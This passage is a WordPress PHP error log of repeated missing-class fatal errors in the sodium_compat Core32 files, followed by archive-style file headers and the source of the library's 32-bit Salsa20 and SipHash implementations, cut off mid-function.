  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[13-Jan-2026 06:30:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[13-Jan-2026 06:30:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-Jan-2026 00:01:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-Jan-2026 00:01:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-Jan-2026 00:01:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Jan-2026 00:02:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Jan-2026 00:02:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-Jan-2026 00:02:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-Jan-2026 00:02:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-Jan-2026 00:02:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-Jan-2026 00:02:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-Jan-2026 00:02:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-Jan-2026 00:02:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-Jan-2026 00:02:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-Jan-2026 00:02:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-Jan-2026 00:19:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-Jan-2026 00:19:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-Jan-2026 00:19:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Jan-2026 00:19:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Jan-2026 00:19:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-Jan-2026 00:19:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-Jan-2026 00:19:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-Jan-2026 00:19:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-Jan-2026 00:19:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-Jan-2026 00:19:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-Jan-2026 00:19:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-Jan-2026 00:19:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-Jan-2026 00:19:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[21-Feb-2026 02:57:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[21-Feb-2026 02:57:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[21-Feb-2026 02:57:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[21-Feb-2026 02:57:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[21-Feb-2026 02:57:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[21-Feb-2026 02:57:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[21-Feb-2026 02:57:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[21-Feb-2026 02:57:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[21-Feb-2026 02:57:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[21-Feb-2026 02:57:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[21-Feb-2026 02:57:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[21-Feb-2026 02:57:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[21-Feb-2026 02:57:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
Core32/Salsa20.php000064400000026362152222652550007536 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Salsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Salsa20
 */
abstract class ParagonIE_Sodium_Core32_Salsa20 extends ParagonIE_Sodium_Core32_Util
{
    const ROUNDS = 20;

    /**
     * Calculate an salsa20 hash of a single block
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function core_salsa20($in, $k, $c = null)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int32 $x0
         * @var ParagonIE_Sodium_Core32_Int32 $x1
         * @var ParagonIE_Sodium_Core32_Int32 $x2
         * @var ParagonIE_Sodium_Core32_Int32 $x3
         * @var ParagonIE_Sodium_Core32_Int32 $x4
         * @var ParagonIE_Sodium_Core32_Int32 $x5
         * @var ParagonIE_Sodium_Core32_Int32 $x6
         * @var ParagonIE_Sodium_Core32_Int32 $x7
         * @var ParagonIE_Sodium_Core32_Int32 $x8
         * @var ParagonIE_Sodium_Core32_Int32 $x9
         * @var ParagonIE_Sodium_Core32_Int32 $x10
         * @var ParagonIE_Sodium_Core32_Int32 $x11
         * @var ParagonIE_Sodium_Core32_Int32 $x12
         * @var ParagonIE_Sodium_Core32_Int32 $x13
         * @var ParagonIE_Sodium_Core32_Int32 $x14
         * @var ParagonIE_Sodium_Core32_Int32 $x15
         * @var ParagonIE_Sodium_Core32_Int32 $j0
         * @var ParagonIE_Sodium_Core32_Int32 $j1
         * @var ParagonIE_Sodium_Core32_Int32 $j2
         * @var ParagonIE_Sodium_Core32_Int32 $j3
         * @var ParagonIE_Sodium_Core32_Int32 $j4
         * @var ParagonIE_Sodium_Core32_Int32 $j5
         * @var ParagonIE_Sodium_Core32_Int32 $j6
         * @var ParagonIE_Sodium_Core32_Int32 $j7
         * @var ParagonIE_Sodium_Core32_Int32 $j8
         * @var ParagonIE_Sodium_Core32_Int32 $j9
         * @var ParagonIE_Sodium_Core32_Int32 $j10
         * @var ParagonIE_Sodium_Core32_Int32 $j11
         * @var ParagonIE_Sodium_Core32_Int32 $j12
         * @var ParagonIE_Sodium_Core32_Int32 $j13
         * @var ParagonIE_Sodium_Core32_Int32 $j14
         * @var ParagonIE_Sodium_Core32_Int32 $j15
         */
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        if ($c === null) {
            $x0  = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
            $x5  = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
            $x10 = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
            $x15 = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));
        } else {
            $x0  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $x5  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $x10 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $x15 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $x1  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 0, 4));
        $x2  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 4, 4));
        $x3  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 8, 4));
        $x4  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 12, 4));
        $x6  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $x7  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $x8  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $x9  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));
        $x11 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 16, 4));
        $x12 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 20, 4));
        $x13 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 24, 4));
        $x14 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 28, 4));

        $j0  = clone $x0;
        $j1  = clone $x1;
        $j2  = clone $x2;
        $j3  = clone $x3;
        $j4  = clone $x4;
        $j5  = clone $x5;
        $j6  = clone $x6;
        $j7  = clone $x7;
        $j8  = clone $x8;
        $j9  = clone $x9;
        $j10  = clone $x10;
        $j11  = clone $x11;
        $j12  = clone $x12;
        $j13  = clone $x13;
        $j14  = clone $x14;
        $j15  = clone $x15;

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4  = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7));
            $x8  = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9));
            $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13));
            $x0  = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18));

            $x9  = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7));
            $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9));
            $x1  = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13));
            $x5  = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18));

            $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7));
            $x2  = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9));
            $x6  = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13));
            $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18));

            $x3  = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7));
            $x7  = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9));
            $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13));
            $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18));

            $x1  = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7));
            $x2  = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9));
            $x3  = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13));
            $x0  = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18));

            $x6  = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7));
            $x7  = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9));
            $x4  = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13));
            $x5  = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18));

            $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7));
            $x8  = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9));
            $x9  = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13));
            $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18));

            $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7));
            $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9));
            $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13));
            $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18));
        }

        $x0  = $x0->addInt32($j0);
        $x1  = $x1->addInt32($j1);
        $x2  = $x2->addInt32($j2);
        $x3  = $x3->addInt32($j3);
        $x4  = $x4->addInt32($j4);
        $x5  = $x5->addInt32($j5);
        $x6  = $x6->addInt32($j6);
        $x7  = $x7->addInt32($j7);
        $x8  = $x8->addInt32($j8);
        $x9  = $x9->addInt32($j9);
        $x10 = $x10->addInt32($j10);
        $x11 = $x11->addInt32($j11);
        $x12 = $x12->addInt32($j12);
        $x13 = $x13->addInt32($j13);
        $x14 = $x14->addInt32($j14);
        $x15 = $x15->addInt32($j15);

        return $x0->toReverseString() .
            $x1->toReverseString() .
            $x2->toReverseString() .
            $x3->toReverseString() .
            $x4->toReverseString() .
            $x5->toReverseString() .
            $x6->toReverseString() .
            $x7->toReverseString() .
            $x8->toReverseString() .
            $x9->toReverseString() .
            $x10->toReverseString() .
            $x11->toReverseString() .
            $x12->toReverseString() .
            $x13->toReverseString() .
            $x14->toReverseString() .
            $x15->toReverseString();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20($len, $nonce, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        $kcopy = '' . $key;
        $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8);
        $c = '';
        while ($len >= 64) {
            $c .= self::core_salsa20($in, $kcopy, null);
            $u = 1;
            // Internal counter.
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }
            $len -= 64;
        }
        if ($len > 0) {
            $c .= self::substr(
                self::core_salsa20($in, $kcopy, null),
                0,
                $len
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $kcopy = null;
        }
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $n
     * @param int $ic
     * @param string $k
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor_ic($m, $n, $ic, $k)
    {
        $mlen = self::strlen($m);
        if ($mlen < 1) {
            return '';
        }
        $kcopy = self::substr($k, 0, 32);
        $in = self::substr($n, 0, 8);
        // Initialize the counter
        $in .= ParagonIE_Sodium_Core32_Util::store64_le($ic);

        $c = '';
        while ($mlen >= 64) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, 64),
                self::substr($block, 0, 64)
            );
            $u = 1;
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }

            $mlen -= 64;
            $m = self::substr($m, 64);
        }

        if ($mlen) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, $mlen),
                self::substr($block, 0, $mlen)
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block);
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $block = null;
            $kcopy = null;
        }

        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::salsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
Core32/SipHash.php000064400000014725152222652550007670 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_SipHash', false)) {
    return;
}

/**
 * Class ParagonIE_SodiumCompat_Core32_SipHash
 *
 * Only uses 32-bit arithmetic, while the original SipHash used 64-bit integers
 */
class ParagonIE_Sodium_Core32_SipHash extends ParagonIE_Sodium_Core32_Util
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, ParagonIE_Sodium_Core32_Int64> $v
     * @return array<int, ParagonIE_Sodium_Core32_Int64>
     */
    public static function sipRound(array $v)
    {
        # v0 += v1;
        $v[0] = $v[0]->addInt64($v[1]);

        # v1 = ROTL(v1, 13);
        $v[1] = $v[1]->rotateLeft(13);

        #  v1 ^= v0;
        $v[1] = $v[1]->xorInt64($v[0]);

        #  v0=ROTL(v0,32);
        $v[0] = $v[0]->rotateLeft(32);

        # v2 += v3;
        $v[2] = $v[2]->addInt64($v[3]);

        # v3=ROTL(v3,16);
        $v[3] = $v[3]->rotateLeft(16);

        #  v3 ^= v2;
        $v[3] = $v[3]->xorInt64($v[2]);

        # v0 += v3;
        $v[0] = $v[0]->addInt64($v[3]);

        # v3=ROTL(v3,21);
        $v[3] = $v[3]->rotateLeft(21);

        # v3 ^= v0;
        $v[3] = $v[3]->xorInt64($v[0]);

        # v2 += v1;
        $v[2] = $v[2]->addInt64($v[1]);

        # v1=ROTL(v1,17);
        $v[1] = $v[1]->rotateLeft(17);

        #  v1 ^= v2;
        $v[1] = $v[1]->xorInt64($v[2]);

        # v2=ROTL(v2,32)
        $v[2] = $v[2]->rotateLeft(32);

        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sipHash24($in, $key)
    {
        $inlen = self::strlen($in);

        # /* "somepseudorandomlygeneratedbytes" */
        # u64 v0 = 0x736f6d6570736575ULL;
        # u64 v1 = 0x646f72616e646f6dULL;
        # u64 v2 = 0x6c7967656e657261ULL;
        # u64 v3 = 0x7465646279746573ULL;
        $v = array(
            new ParagonIE_Sodium_Core32_Int64(
                array(0x736f, 0x6d65, 0x7073, 0x6575)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x646f, 0x7261, 0x6e64, 0x6f6d)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x6c79, 0x6765, 0x6e65, 0x7261)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x7465, 0x6462, 0x7974, 0x6573)
            )
        );

        # u64 k0 = LOAD64_LE( k );
        # u64 k1 = LOAD64_LE( k + 8 );
        $k = array(
            ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($key, 0, 8)
            ),
            ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($key, 8, 8)
            )
        );

        # b = ( ( u64 )inlen ) << 56;
        $b = new ParagonIE_Sodium_Core32_Int64(
            array(($inlen << 8) & 0xffff, 0, 0, 0)
        );

        # v3 ^= k1;
        $v[3] = $v[3]->xorInt64($k[1]);
        # v2 ^= k0;
        $v[2] = $v[2]->xorInt64($k[0]);
        # v1 ^= k1;
        $v[1] = $v[1]->xorInt64($k[1]);
        # v0 ^= k0;
        $v[0] = $v[0]->xorInt64($k[0]);

        $left = $inlen;
        # for ( ; in != end; in += 8 )
        while ($left >= 8) {
            # m = LOAD64_LE( in );
            $m = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($in, 0, 8)
            );

            # v3 ^= m;
            $v[3] = $v[3]->xorInt64($m);

            # SIPROUND;
            # SIPROUND;
            $v = self::sipRound($v);
            $v = self::sipRound($v);

            # v0 ^= m;
            $v[0] = $v[0]->xorInt64($m);

            $in = self::substr($in, 8);
            $left -= 8;
        }

        # switch( left )
        #  {
        #     case 7: b |= ( ( u64 )in[ 6] )  << 48;
        #     case 6: b |= ( ( u64 )in[ 5] )  << 40;
        #     case 5: b |= ( ( u64 )in[ 4] )  << 32;
        #     case 4: b |= ( ( u64 )in[ 3] )  << 24;
        #     case 3: b |= ( ( u64 )in[ 2] )  << 16;
        #     case 2: b |= ( ( u64 )in[ 1] )  <<  8;
        #     case 1: b |= ( ( u64 )in[ 0] ); break;
        #     case 0: break;
        # }
        switch ($left) {
            case 7:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        0, self::chrToInt($in[6]) << 16
                    )
                );
            case 6:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
